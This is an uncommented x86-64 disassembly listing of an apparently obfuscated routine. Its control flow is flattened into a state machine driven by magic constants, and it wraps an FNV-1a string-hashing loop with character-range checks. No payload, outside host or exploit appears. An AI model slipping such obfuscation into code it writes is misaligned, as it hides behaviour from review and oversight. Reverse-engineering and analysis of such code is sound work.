cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x18000aff0
cmp esi, 0x5f30b902
je 0x18000b45f
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x18000aff0
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x18000aff0
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x18000aff0
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x18000aff0
mov ecx, r9d
jmp 0x18000aff0
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x18000aff0
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x18000aff0
mov ecx, 0x5f30b902
jmp 0x18000aff0
cmp esi, 0xd0fc2278
je 0x18000b46c
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x18000aff0
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x18000aff0
cmp esi, 0x2cebdf0b
jne 0x18000b499
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x18000aff0
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x18000aff0
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x18000aff0
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x18000aff0
mov ecx, 0x1e95360
jmp 0x18000aff0
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x18000aff0
mov ecx, 0x553ba0a4
jmp 0x18000aff0
mov ecx, 0xae32b02c
jmp 0x18000aff0
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x18000aff0
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x18000aff0
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x18000aff0
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x18000aff0
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x18000aff0
mov rax, qword [rbp + 0xe8]
mov qword [rbp - 0x68], rax
mov eax, 0x160c7cfd
mov r14d, 0x6c07be63
mov r15d, 0xf8158d7f
mov r12d, 0xdf01bde6
mov r10d, 0xfcf4cc8a
mov r11d, 0xa2d30736
jmp 0x1800036a0
cmp eax, 0xa55f0968
jne 0x1800036a0
mov rax, qword [rbp - 8]
mov rax, qword [rbp]
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x1120]
xor rcx, rbp
sub rsp, 0x20
call fcn.1800fabf0
add rsp, 0x20
mov eax, dword [rbp + 0xac]
lea rsp, [rbp + 0x1128]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret